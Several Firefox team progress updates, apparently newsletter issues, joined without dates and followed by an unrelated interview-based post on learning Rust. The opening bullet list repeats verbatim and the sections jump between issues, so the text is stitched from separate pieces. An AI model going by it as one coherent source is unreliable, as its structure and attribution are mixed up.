• Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
• Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
• Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
• Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
• Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
• Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
• Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
• Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
• Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
• Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
• Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
• Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
• Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
• Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
• Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

• Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
• Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
• Work also continues on the new Nova layouts.

Smart Window

• uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect
  • jump to bottom of conversation 2028692
  • stop streaming button 2029204
  • back/forward navigation from assistant 2029229
  • dark mode for various chips 2024499
• search engine switching from smart bar 2021973
• Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

• Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
• Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
• Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
• Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
• Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
• Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
• Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
• Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
• Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
• Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
• Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
• Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

• The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
• In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

• Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
• Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
• Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
• Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
• Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign
  • 
• Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
• Anna fixed the Settings navbar layout breakage

• James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
• Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!

• Controls for the Memories feature can now be set during Smart Window onboarding

• We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation
  • NOTE: The blog post published at WebExtensions API changes in Firefox 149-152 provides to extensions developers more details about this deprecation and links to the related MDN docs.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Amin Amir
• Pranjali Srivastava
• Sam Johnson

New contributors (🌟 = first patch)

•  🌟:23rd: Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page
• 🌟Akeem Omosanya: Remove commented-out code in SearchService.sys.mjs
• Amin Amir:
  • 🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
  • Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
• 🌟Sahaj: Suggest the default target language for translation after changing the detected source language
• 🌟JIANG Zhirui: Breakpad build failed on Windows using VS2026 due to removal of stdext
•  John Iweh: Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices
• Jak: Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting
• 🌟Andy [:rgbcmy]: Autoplayed next video should also be PIP
•  konyhéa: “Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.
•  Pranjali Srivastava:
  • Remove icon property from sidebar extensions
  • Show language-agnostic SelectTranslations context menu item when the source and target languages are the same

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158

WebExtensions Framework

• Fixed access to web-accessible resources declared with <all_urls> from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905

WebExtension APIs

• Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

• Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
  • added support for remote debugging (#2014064, #2016121)
  • made sure that calls to History.replaceState are reflected in the UI (#2037359)
• Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
• Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
• Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

• Amin Amir cleaned up an incorrect variable assignment in our browsingContext module.
• Logan Rosen updated stale references and broken links in our documentation about Marionette.
• Sameem improved the Marionette and WebDriver BiDi screenshot commands to enforce maximum allowed dimensions.
• Leo McArdle fixed the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”.
• Henrik Skupin fixed an issue in Marionette where WebDriver:Navigate and WebDriver:Refresh did not handle errors when the underlying navigation failed.
• Henrik Skupin improved geckodriver to detect an early Firefox exit during startup on Android, avoiding up to 60 seconds of unnecessary connection attempts.
• Henrik Skupin updated the geckodriver CI build job to produce a universal macOS binary supporting both x64 and aarch64.

Lint, Docs and Workflow

• Sylvestre ported some linters (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words & more) to Rust to help improve the runtime of the code review bot.
• Dale has been working on migration to moz-src for customkeys, dom/quota and odom/geolocation
  • https://arewemozsrcyet.com/

New Tab Page

• We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
  • We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
• Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
• Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

Search and Urlbar

• Nova (URL Bar Design Refresh)
  • Drew and Daisuke continued their work on Nova styling for the Address bar (input and view).
• Search and Suggest
  • Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to update the localization string for scheduled games and another to show both teams’ icons in suggestions. Drew also landed and uplifted a fix for rich search suggestion icons being forced into a square aspect ratio.
  • Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.
• Settings Redesign (SRD)
  • Stephanie landed a test to ensure search suggestion settings are hidden when quicksuggest is disabled, as well as a patch to resolve TypeScript issues in search.mjs, and is adding test coverage to confirm removed search engines are not displayed in the default engines dropdown.
• General URL Bar and Component Updates
  • Daisuke landed implementation of the context menu on URL bar results, and a fix to show the loading URL in the URL bar when starting up with a homepage.
    • Marco is working on several tasks, including a PDF download / focus stealing issue and allowing arrays to be bound in Sqlite.sys.mjs. Marco also worked on fixes related to Places, such as avoiding replacing the favicons database if it is not corrupt.
  • Standard8 finalized the URL bar test manifest split. Standard8 also upgraded us to TypeScript 6.
  • Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (Bug 2032973), which was also uplifted. Moritz also simplified search mode switcher item activation in tests, and made it so that the unified search button popup closes when installing an open search engine.

Smart Window

• natural language starting with tab close/undo 2035343 with expandable action log 2031508

• assistant rendering feedback up/down 2032994 and markdown table 2027029
• nova styling blur 2027877 and suggestions 2026823
• accessibility screen reader 2028676 and keyboard focus 2037565
• optimize conversation starters extra requests 2030005 and caching 2033430

Storybook/Reusable Components/Acorn Design System

• Nova token updates occasionally, focused on SRD

UX Fundamentals

• Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

• Settings redesign is being tested and will hopefully go out in Firefox 152!

• Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
• Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
  • You can try it out on this Instagram reel in Nightly

• A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
• Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Sam Johnson
• Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

• Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
• liz: Screenshots overlay visible on both splitview browsers
• 🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
• Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
• 🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
•  tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

• Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
• Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054
  • Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.

WebExtension APIs

• Fixed handling of <all_urls> as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

• Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
• Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
• Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
• Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
• Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
• Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

• Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
• Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
• Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
• Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

• Added a rule to prevent new uses of Preferences.sys.mjs.
• The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
• Temporal, and some other definitions have been added to TypeScript.

New Tab Page

• Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
• Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
• Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
• Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
• Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
• Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
• Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
• Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
• Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
• Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
• Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
• Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
• Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
• Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
• Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
• Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
• Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
• Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
• Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
• Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

• kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
• Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
• Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

• Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
  • https://www.npmjs.com/package/@firefox-devtools/profiler-cli
  • You can install it with npm install -g @firefox-devtools/profiler-cli@latest

Search and Urlbar

Nova UI refresh

• Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
• 2019154, 2019152, 2041501, 2040532

Suggest

• Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
• 2040561, 2039753, 2035614, 2038843

Adaptive autofill

• James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
• 2040819, 2037177

Quick actions

• Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
• Caleb added Calculator support for certain unicode operators.
• 2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

• Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
• 2039297, 2036095, 2039844, 2037933, 2030050

Other

• Marco, Drew and Daisuke fixed several intermittent test failures.
• 2038510, 2023908, 2011584, 1938142, 1971091

Search

• Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
• Caleb fixed multiple documentation issues and added a test covering searches from a private window.
• 1904613, 2035878, 2037942, 2033545, 2005724

Places

• Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
• Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
• 2039534, 1505800, 2008829, 2029541, 2035084

• Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.

• Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
• Starting from Firefox 153, access to local file: URLs is being restricted by default.
  • Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.
  • Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (Bug 2034168).

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• :Vincent
• Chris Vander Linden
• DrSeed
• Khalid AlHaddad
• Sam Johnson

New contributors (🌟 = first patch)

• Francis :mckenfra: tld service for webextensions
• any1here: about:preferences#privacy is broken with MOZ_DATA_REPORTING false
• pullmana8: Fix protocol/Actor.js to throw an Error instead of an Actor
• RAN1: Firefox Crashes on Quit When Running Two Browsers With Separate Profiles

Project Updates

Accessibility

• Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it in the accessibility review source docs.

Add-ons / Web Extensions

Addon Manager & about:addons

• Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons – Bug 2042200 / Bug 2042204
• Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train – Bug 2040971
• Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 – Bug 2043803

WebExtensions Framework

• Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 – Bug 2041393
• Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 – Bug 1751346
• Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 – Bug 1805205
  • Thanks to Mike Kaply for implementing this enterprise policy enhancement.

WebExtension APIs

• Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 – Bug 1653876
• Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 – Bug 1750196

DevTools

• Chris Vander Linden made the Search input component shared as we plan to use it in the Netmonitor as well (#2019260, #2027580, #2027582)
• pullmana8 improved error management in the DevTools protocol (#2031735)
• Chris H-C :chutten removed Legacy Telemetry devtools instrumentation (#2039650)
• :glob ✱ fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (#2016778)
• Nicolas Chevobbe [:nchevobbe] exposed heading level more clearly in the accessibility tree (#1588784) and in the accessibility highlighter (#2044904)

• Julian Descottes [:jdescottes] migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (#2028058)
• Nicolas Chevobbe [:nchevobbe] fixed an issue in Netmonitor search where it could appear the the search stalled (#2042405)
• Hubert Boma Manilla (:bomsy) added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (#2036404)

WebDriver

• Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
• Khalid AlHaddad updated our codebase to use constants instead of hardcoded strings for all our session data types.
• Alexandra Borovova updated the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers.
• Alexandra Borovova fixed a regression when there would be no “script.realmCreated” events after the cross-origin navigation.

Search and Urlbar

• Dharma updated context search actions to trigger search instead of entering search mode @ 1945080
• Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ 2041255, 2030183, 2019168, 2044849, 2033583
• Moritz has worked on several refactorings to allow the urlbar to be used in content @ 2039828, 2039298, 2041280
• Middle click paste replaces content was fixed by Moritz @ 2042893
• Michel added feature to show registrable domain on desktop after its implementation on mobile @ 1986161

In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.

As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust

The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO

Rust learning resources

Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant

"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits

It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax." -- Principal Firmware Engineer (mobile robotics)

"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab

Learning to work with the borrow checker

We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher

Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs

"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer

Learning by doing

Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust

"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider

Letting go of "clone guilt"

Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.

We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to

The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM

"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries

"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO

Teaching Rust in academia

We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.

What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs

Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate

"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

